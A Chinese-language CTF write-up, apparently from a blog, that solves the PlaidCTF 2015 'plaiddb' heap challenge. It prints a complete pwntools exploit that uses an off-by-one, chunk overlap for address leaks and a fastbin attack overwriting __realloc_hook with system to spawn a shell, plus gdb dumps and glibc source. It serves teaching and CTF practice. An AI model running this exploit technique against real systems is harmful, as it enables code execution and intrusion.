pwn堆入门系列教程2 本文首发于先知社区
堆入门系列教程1 序言:第二题,研究了两天,其中有小猪师傅,m4x师傅,萝卜师傅等各个师傅指点我,这次又踩了几个坑,相信以后不会再犯,第二题感觉比第一题复杂许多,不是off-by-one的问题,是这种攻击方式的问题,这种攻击方式十分精妙,chunk overlap,堆块重叠,这种攻击方式我也是第一次见,复现起来难度也是有滴
off-by-one第二题 此题也是off-by-one里的一道题目,让我再次意识到off by one在堆里的强大之处
plaidctf 2015 plaiddb 前面的功能分析和数据结构分析我就不再做了,ctf-wiki上给的清楚了,然后网上各种wp也给的清楚了,我没逆向过红黑树,也没写过,所以具体结构我也不清楚,照着师傅们的来,确实是树
数据结构
1 2 3 4 5 6 7 8 9 struct Node { char *key; long data_size; char *data; struct Node *left ; struct Node *right ; long dummy; long dummy1; }
这个函数存在off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 char *sub_1040 () { char *v0; char *v1; size_t v2; char v3; char v4; signed __int64 v5; char *v6; v0 = malloc (8u LL); v1 = v0; v2 = malloc_usable_size(v0); while ( 1 ) { v3 = _IO_getc(stdin ); v4 = v3; if ( v3 == -1 ) sub_1020(); if ( v3 == 10 ) break ; v5 = v1 - v0; if ( v2 <= v1 - v0 ) { v6 = realloc (v0, 2 * v2); v0 = v6; if ( !v6 ) { puts ("FATAL: Out of memory" ); exit (-1 ); } v1 = &v6[v5]; v2 = malloc_usable_size(v6); } *v1++ = v4; } *v1 = 0 ; return v0; }
然后师傅们利用堆块的重叠进行泄露地址,然后覆盖fd指针,然后fastbin attack,简单的说就是这样,先说明下整体攻击过程
先删掉初始存在的堆块 th3fl4g,方便后续堆的布置及对齐 创建堆块,为后续做准备在创建同key堆块的时候,会删去上一个同key堆块 利用off-by-one覆盖下个chunk的pre_size,这里必须是0x18,0x38,0x78这种递增的,他realloc是按倍数递增的,如果我们用了0x18大小的key的话,会将下一个chunk的pre_size部分当数据块来用,在加上off-by-one覆盖掉size的insue位 先free掉第一块,为后续大堆块做准备 然后free第三块,这时候会向后合并堆块,根据pre_size合并成大堆块造成堆块重叠,这时候可以泄露地址了 申请堆块填充空间至chunk2 chunk2上为main_arena,泄露libc地址 现在堆块是重叠的,chunk3在我们free后的大堆块里,然后修改chunk3的fd指针指向realloc_hook 不破坏现场(不容易) malloc一次,在malloc一次,这里有个点要注意,需要错位伪造size,因为fastbin有个checksize,我们这里将前面的0x7f错位,后面偏移也要补上 最后改掉后,在调用一次getshell exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from PwnContext.core import *local = True exe = './' + 'datastore' elf = context.binary = ELF(exe) host = '127.0.0.1' port = 10000 ctx.binary = exe libc = args.LIBC or 'libc.so.6' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: try : p = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!" ) print("It will load the local process" ) io = process(exe) else : io = remote(host,port) def GET (key) : p.sendline("GET" ) p.recvline("PROMPT: Enter row key:" ) p.sendline(key) def PUT (key, size, data) : p.sendline("PUT" ) p.recvline("PROMPT: Enter row key:" ) p.sendline(key) p.recvline("PROMPT: Enter data size:" ) p.sendline(str(size)) p.recvline("PROMPT: Enter data:" ) p.send(data) def DUMP () : p.sendline("DUMP" ) def DEL (key) : p.sendline("DEL" ) p.recvline("PROMPT: Enter row key:" ) p.sendline(key) def exp () : libc = ELF('libc.so.6' ) system_off = libc.symbols['system' ] realloc_hook_off = libc.symbols['__realloc_hook' ] DEL("th3fl4g" ) PUT("1" *0x8 , 0x80 , 'A' *0x80 ) PUT("2" *0x8 , 0x18 , 'B' *0x18 ) PUT("3" *0x8 , 0x60 , 'C' *0x60 ) PUT("3" *0x8 , 0xf0 , 'C' *0xf0 ) PUT("4" *0x8 +p64(0 )+p64(0x200 ), 0x20 , 'D' *0x20 ) DEL("1" *0x8 ) DEL("3" *0x8 ) PUT("a" , 0x88 , p8(0 )*0x88 ) DUMP() p.recvuntil("INFO: Dumping all rows.\n" ) temp = p.recv(11 ) heap_base = u64(p.recv(6 ).ljust(8 , "\x00" ))-0x3f0 libc_base = int(p.recvline()[3 :-7 ])-0x3be7b8 log.info("heap_base: " + hex(heap_base)) log.info("libc_base: " + hex(libc_base)) realloc_hook_addr = libc_base + realloc_hook_off log.info("reallo_hook: 0x%x" % realloc_hook_addr) payload = p64(heap_base+0x70 ) payload += p64(0x8 ) payload += p64(heap_base+0x50 ) payload += p64(0 )*2 payload += p64(heap_base+0x250 ) payload += p64(0 )+p64(0x41 ) payload += p64(heap_base+0x3e0 ) payload += p64(0x88 ) payload += p64(heap_base+0xb0 ) payload += p64(0 )*2 payload += p64(heap_base+0x250 ) payload += p64(0 )*5 +p64(0x71 ) payload += p64(realloc_hook_addr-0x8 -0x3 -0x8 ) PUT("6" *0x8 , 0xa8 , payload) payload = p64(0 )*3 +p64(0x41 ) payload += p64(heap_base+0x290 ) payload += p64(0x20 ) payload += p64(heap_base+0x3b0 ) payload += p64(0 )*4 +p64(0x21 ) payload += p64(0 )*3 PUT("c" *0x8 , 0x78 , payload) payload = p64(0 )+p64(0x41 ) payload += p64(heap_base+0x90 ) payload += p64(0x8 )+p64(heap_base+0x230 ) payload += p64(0 )*2 +p64(heap_base+0x250 ) payload += p64(0x1 )+p64(0 )*3 PUT("d" *0x8 , 0x60 , payload) gdb.attach(p) system_addr = libc_base+system_off print("system_addr: 0x%x" % system_addr) payload = 'a' *0x3 payload += p64(system_addr) payload += p8(0 )*(0x4d +0x8 ) PUT("e" *0x8 , 0x60 , payload) payload = "/bin/sh" payload += p8(0 )*0x12 GET(payload) if __name__ == '__main__' : exp() p.interactive()
细节讲解 我只有exp部分是重点,其余创建堆块动作都是辅助的
堆块重叠 堆叠 这篇文章讲的很好,图配的也很好,看下这部分就大概知道堆块重叠了 而这道题中,这里就是构造堆块重叠部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 libc = ELF('libc.so.6' ) system_off = libc.symbols['system' ] realloc_hook_off = libc.symbols['__realloc_hook' ] DEL("th3fl4g" ) PUT("1" *0x8 , 0x80 , 'A' *0x80 ) PUT("2" *0x8 , 0x18 , 'B' *0x18 ) PUT("3" *0x8 , 0x60 , 'C' *0x60 ) PUT("3" *0x8 , 0xf0 , 'C' *0xf0 ) PUT("4" *0x8 +p64(0 )+p64(0x200 ), 0x20 , 'D' *0x20 ) DEL("1" *0x8 ) DEL("3" *0x8 )
泄露地址 1 2 3 4 5 6 7 8 9 10 11 12 PUT("a" , 0x88 , p8(0 )*0x88 ) DUMP() p.recvuntil("INFO: Dumping all rows.\n" ) temp = p.recv(11 ) heap_base = u64(p.recv(6 ).ljust(8 , "\x00" ))-0x3f0 libc_base = int(p.recvline()[3 :-7 ])-0x3be7b8 log.info("heap_base: " + hex(heap_base)) log.info("libc_base: " + hex(libc_base)) realloc_hook_addr = libc_base + realloc_hook_off log.info("reallo_hook: 0x%x" % realloc_hook_addr)
第一步put是为了将free掉的chunk移动到2处,这样才好泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gdb-peda$ x/50gx 0x562a3c9a8070-0x70 0x562a3c9a8000: 0x0000000000000000 0x0000000000000041 0x562a3c9a8010: 0x0000000000000000 0x0000000000000080 0x562a3c9a8020: 0x0000562a3c9a80b0 0x0000000000000000 0x562a3c9a8030: 0x0000000000000000 0x0000562a3c9a8140 0x562a3c9a8040: 0x0000000000000000 0x0000000000000021 0x562a3c9a8050: 0x4242424242424242 0x4242424242424242 0x562a3c9a8060: 0x4242424242424242 0x0000000000000021 0x562a3c9a8070: 0x3232323232323232 0x0000000000000000 0x562a3c9a8080: 0x0000000000000000 0x0000000000000021 0x562a3c9a8090: 0x0000000000000000 0x0000000000000000 0x562a3c9a80a0: 0x0000000000000000 0x0000000000000301 0x562a3c9a80b0: 0x00007f14e88247b8 0x00007f14e88247b8 0x562a3c9a80c0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80d0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80e0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80f0: 0x4141414141414141 0x4141414141414141 0x562a3c9a8100: 0x4141414141414141 0x4141414141414141 0x562a3c9a8110: 0x4141414141414141 0x4141414141414141 0x562a3c9a8120: 0x4141414141414141 0x4141414141414141 0x562a3c9a8130: 0x0000000000000090 0x0000000000000040 0x562a3c9a8140: 0x0000562a3c9a8070 0x0000000000000018 0x562a3c9a8150: 0x0000562a3c9a8050 0x0000000000000000 0x562a3c9a8160: 0x0000000000000000 0x0000562a3c9a8250 0x562a3c9a8170: 0x0000000000000001 0x0000000000000041 0x562a3c9a8180: 0x0000562a3c9a8000 0x00000000000000f0
为什么确定这里是堆块2,你可以看他的key指针,指向0x0000562a3c9a8070,这里正是0x32就是第二块 如果我们要泄露的话,就是通过覆盖堆块的数据部分的大小,也就是0x18那个大小,覆盖成0x562a3c9a80b0处存的地址,我们要将这个内容往下偏移多少要计算下 0x562a3c9a8140-0x562a3c9a80b0=0x90 所以我们下一个malloc的大小就是0x80-0x90之间了,不能是0x90,否则会变成0x100的chunk 覆盖后结果如下,地址会变,因为我是两次调试,方便截图,实际偏移位置没变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gdb-peda$ x/50gx 0x55be33916070-0x70 0x55be33916000: 0x0000000000000000 0x0000000000000041 0x55be33916010: 0x0000000000000000 0x0000000000000080 0x55be33916020: 0x000055be339160b0 0x0000000000000000 0x55be33916030: 0x0000000000000000 0x000055be33916140 0x55be33916040: 0x0000000000000000 0x0000000000000021 0x55be33916050: 0x4242424242424242 0x4242424242424242 0x55be33916060: 0x4242424242424242 0x0000000000000021 0x55be33916070: 0x3232323232323232 0x0000000000000000 0x55be33916080: 0x0000000000000000 0x0000000000000021 0x55be33916090: 0x0000000000000000 0x0000000000000000 0x55be339160a0: 0x0000000000000000 0x0000000000000091 0x55be339160b0: 0x0000000000000000 0x0000000000000000 0x55be339160c0: 0x0000000000000000 0x0000000000000000 0x55be339160d0: 0x0000000000000000 0x0000000000000000 0x55be339160e0: 0x0000000000000000 0x0000000000000000 0x55be339160f0: 0x0000000000000000 0x0000000000000000 0x55be33916100: 0x0000000000000000 0x0000000000000000 0x55be33916110: 0x0000000000000000 0x0000000000000000 0x55be33916120: 0x0000000000000000 0x0000000000000000 0x55be33916130: 0x0000000000000000 0x0000000000000271 0x55be33916140: 0x00007fa9f416c7b8 0x00007fa9f416c7b8 0x55be33916150: 0x000055be33916050 0x0000000000000000 0x55be33916160: 0x0000000000000000 0x000055be33916250 0x55be33916170: 0x0000000000000001 0x0000000000000041 0x55be33916180: 0x000055be339163e0 0x0000000000000088
保护现场 这步是比较难的,因为堆块申请的位置不确定,需要一步步调试确定,我建议每部署一部分,调试一次状况,然后在进行现场的保护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 payload = p64(heap_base+0x70 ) payload += p64(0x8 ) payload += p64(heap_base+0x50 ) payload += p64(0 )*2 payload += p64(heap_base+0x250 ) payload += p64(0 )+p64(0x41 ) payload += p64(heap_base+0x3e0 ) payload += p64(0x88 ) payload += p64(heap_base+0xb0 ) payload += p64(0 )*2 payload += p64(heap_base+0x250 ) payload += p64(0 )*5 +p64(0x71 ) payload += p64(realloc_hook_addr-0x8 -0x3 -0x8 ) PUT("6" *0x8 , 0xa8 , payload) payload = p64(0 )*3 +p64(0x41 ) payload += p64(heap_base+0x290 ) payload += p64(0x20 ) payload += p64(heap_base+0x3b0 ) payload += p64(0 )*4 +p64(0x21 ) payload += p64(0 )*3 PUT("c" *0x8 , 0x78 , payload) payload = p64(0 )+p64(0x41 ) payload += p64(heap_base+0x90 ) payload += p64(0x8 )+p64(heap_base+0x230 ) payload += p64(0 )*2 +p64(heap_base+0x250 ) payload += p64(0x1 )+p64(0 )*3 PUT("d" *0x8 , 0x60 , payload)
具体我怎么调试示范下,先在1处gdb.attach(p)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 gdb-peda$ x/100gx 0x559717162000 0x559717162000: 0x0000000000000000 0x0000000000000041 0x559717162010: 0x00005597171621c0 0x00000000000000a8 0x559717162020: 0x0000559717162140 0x0000000000000000 0x559717162030: 0x0000000000000000 0x0000559717162140 0x559717162040: 0x0000000000000001 0x0000000000000021 0x559717162050: 0x4242424242424242 0x4242424242424242 0x559717162060: 0x4242424242424242 0x0000000000000021 0x559717162070: 0x3232323232323232 0x0000000000000000 0x559717162080: 0x0000000000000000 0x0000000000000021 0x559717162090: 0x0000000000000000 0x0000000000000000 0x5597171620a0: 0x0000000000000000 0x0000000000000091 0x5597171620b0: 0x0000000000000000 0x0000000000000000 0x5597171620c0: 0x0000000000000000 0x0000000000000000 0x5597171620d0: 0x0000000000000000 0x0000000000000000 0x5597171620e0: 0x0000000000000000 0x0000000000000000 0x5597171620f0: 0x0000000000000000 0x0000000000000000 0x559717162100: 0x0000000000000000 0x0000000000000000 0x559717162110: 0x0000000000000000 0x0000000000000000 0x559717162120: 0x0000000000000000 0x0000000000000000 0x559717162130: 0x0000000000000000 0x00000000000000b1 0x559717162140: 0x0000559717162070 0x0000000000000008 0x559717162150: 0x0000559717162050 0x0000559717162010 0x559717162160: 0x0000000000000000 0x0000559717162250 0x559717162170: 0x0000000000000000 0x0000000000000041 0x559717162180: 0x00005597171623e0 0x0000000000000088 0x559717162190: 0x00005597171620b0 0x0000000000000000 0x5597171621a0: 0x0000000000000000 0x0000559717162250 0x5597171621b0: 0x0000000000000000 0x0000000000000000 0x5597171621c0: 0x0000000000000000 0x0000000000000000 0x5597171621d0: 0x0000000000000000 0x0000000000000071 0x5597171621e0: 0x00007fc9194dc71d 0x00000000000001c1 0x5597171621f0: 0x00007fc9194dc7b8 0x00007fc9194dc7b8 0x559717162200: 0x4343434343434343 0x4343434343434343 0x559717162210: 0x4343434343434343 0x4343434343434343 0x559717162220: 0x4343434343434343 0x4343434343434343 0x559717162230: 0x4343434343434343 0x4343434343434343 0x559717162240: 0x0000000000000000 0x0000000000000041 0x559717162250: 0x0000559717162290 0x0000000000000020 0x559717162260: 0x00005597171623b0 0x0000559717162140 0x559717162270: 0x0000559717162180 0x0000000000000000 0x559717162280: 0x0000000000000000 0x0000000000000021 0x559717162290: 0x3434343434343434 0x0000000000000000 0x5597171622a0: 0x0000000000000200 0x0000000000000100 0x5597171622b0: 0x4343434343434343 0x4343434343434343 0x5597171622c0: 0x4343434343434343 0x4343434343434343 0x5597171622d0: 0x4343434343434343 0x4343434343434343 0x5597171622e0: 0x4343434343434343 0x4343434343434343 0x5597171622f0: 0x4343434343434343 0x4343434343434343 0x559717162300: 0x4343434343434343 0x4343434343434343 0x559717162310: 0x4343434343434343 0x4343434343434343
既然知道他会覆盖那部分,我就提前查看这部分内容,进行覆盖就行了,然后将gdb.attach放到合并堆块那会,查看具体内容,也就是在这
1 2 3 gdb.attach(p) PUT("a" , 0x88 , p8(0 )*0x88 ) DUMP()
查看具体内容,然后进行覆盖
我上面所说的这是土方法,我测试出来的。
其实这些都可以预估的,前面DEL(1) DEL(3),所以会空闲两个结构体,这是fastbin部分的空闲堆块,所以结构体会在原来的chunk上建立,至于申请的0xa8不属于fastbin里,所以他会从大堆块里取,取出能存放0xa8大小的chunk,第二次put的话先申请一个结构体0x40大小的结构体存放红黑树结构,然后在申请0x78大小的chunk,都是从大堆块里取,因为此时fastbin里没有空闲堆块了,第一块用于PUT(“a”, 0x88, p8(0)0x88),第二块用于PUT(“6” 0x8, 0xa8, payload)
PUT(“d”*0x8, 0x60, payload)这里先申请一个堆块,同时保护现场,因为原来是fastbin中的一个chunk指向了realloc_hook,现在申请过后,在申请一个堆块便是realloc_hook的地址了
注意:还记得开头申请两个3吗,申请第二个3的时候会先删除前一个chunk,那个就是fastbin里0x70大小的chunk,所以我们覆盖的就是这个chunk的fd
覆写realloc_hook 还记得我前面realloc_hook地址怎么写payload的吗 看 realloc_hook_addr-0x8-0x3-0x8 为什么要这么写呢? 先看看realloc_hook附近
1 2 3 4 gdb-peda$ x/5gx 0x7f14d2670730-0x10 0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000 0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000 0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
你记得malloc_chunk是怎么样的吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
如果我们要申请个chunk的话,应当如何,不伪造chunk可不可以,我尝试过,失败了, 我报了这个错malloc(): memory corruption (fast) 经师傅提点,去查看malloc源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 if ((unsigned long ) (nb) <= (unsigned long ) (get_max_fast())) { idx = fastbin_index(nb); mfastbinptr *fb = &fastbin(av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL ) break ; } while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd, victim)) != victim); if (victim != 0 ) { if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr(check_action, errstr, chunk2mem(victim), av); return NULL ; } check_remalloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } }
他会检测大小是否正确,所以不伪造chunk的size部分过不了关的 在回到这里
1 2 3 4 gdb-peda$ x/5gx 0x7f14d2670730-0x10 0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000 0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000 0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
这样是个chunk的话,pre_size是0x00007f14d2335c90,size是0,这样肯定没法搞,所以我们要利用一点错位,让size成功变成fastbin里的
1 2 3 4 gdb-peda$ x/5gx 0x7f14d2670730-0x10-0x3 0x7f14d267071d: 0x14d2335c90000000 0x000000000000007f 0x7f14d267072d: 0x14d2335c30000000 0x000000000000007f 0x7f14d267073d: 0x0000000000000000
这样不就成了,size为0x7f,然后我们现在大小对了,位置错位了,所以最后我们要补个’a’*0x3来填充我们的错位部分,然后在realloc部分填上我们的system地址,最后在调用一次getshell
这里的错位需要自己调试,不一定是跟我一样的错位,在fastbin attack部分也将会学习到
1 2 3 4 5 6 7 8 9 system_addr = libc_base+system_off print("system_addr: 0x%x" % system_addr) payload = 'a' *0x3 payload += p64(system_addr) payload += p8(0 )*(0x4d +0x8 ) PUT("e" *0x8 , 0x60 , payload) payload = "/bin/sh" payload += p8(0 )*0x12 GET(payload)
到了结尾了,这里有个点说明下,我们malloc(0x7f)跟伪造chunk的size是完全不一样的,我们malloc过后还要经过计算才得到size,你看普通malloc(0x7f)
1 2 3 4 5 6 7 8 9 10 11 12 13 0x557c81b53130: 0x0000000000000000 0x0000000000000041 0x557c81b53140: 0x0000557c81b53070 0x000000000000007f 0x557c81b53150: 0x0000557c81b53180 0x0000557c81b53010 0x557c81b53160: 0x0000557c81b53210 0x0000000000000000 0x557c81b53170: 0x0000000000000000 0x0000000000000091 0x557c81b53180: 0x4242424242424242 0x4242424242424242 0x557c81b53190: 0x4242424242424242 0x4242424242424242 0x557c81b531a0: 0x4242424242424242 0x4242424242424242 0x557c81b531b0: 0x4242424242424242 0x4242424242424242 0x557c81b531c0: 0x4242424242424242 0x4242424242424242 0x557c81b531d0: 0x4242424242424242 0x4242424242424242 0x557c81b531e0: 0x4242424242424242 0x4242424242424242 0x557c81b531f0: 0x4242424242424242 0x0042424242424242
他获得的是0x91大小的chunk,具体size计算可以自己看源码,我只是点出这个点而已
总结 这道题知识点较多,利用较复杂,利用堆块重叠泄露,在用fastbin attack 错位伪造chunk知识点,补上了,第一次遇到 这道题需要对堆的分配机制较为熟练才比较好做,像我调试了很久,最终才的出来的结论 遇到错误要学会去查看源码,好几个师傅都叫我看源码,最后才懂的 参考链接 看雪的师傅的文章
ctf-wiki原理介绍
本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/83154af0/ 版权声明 :转载请注明出处!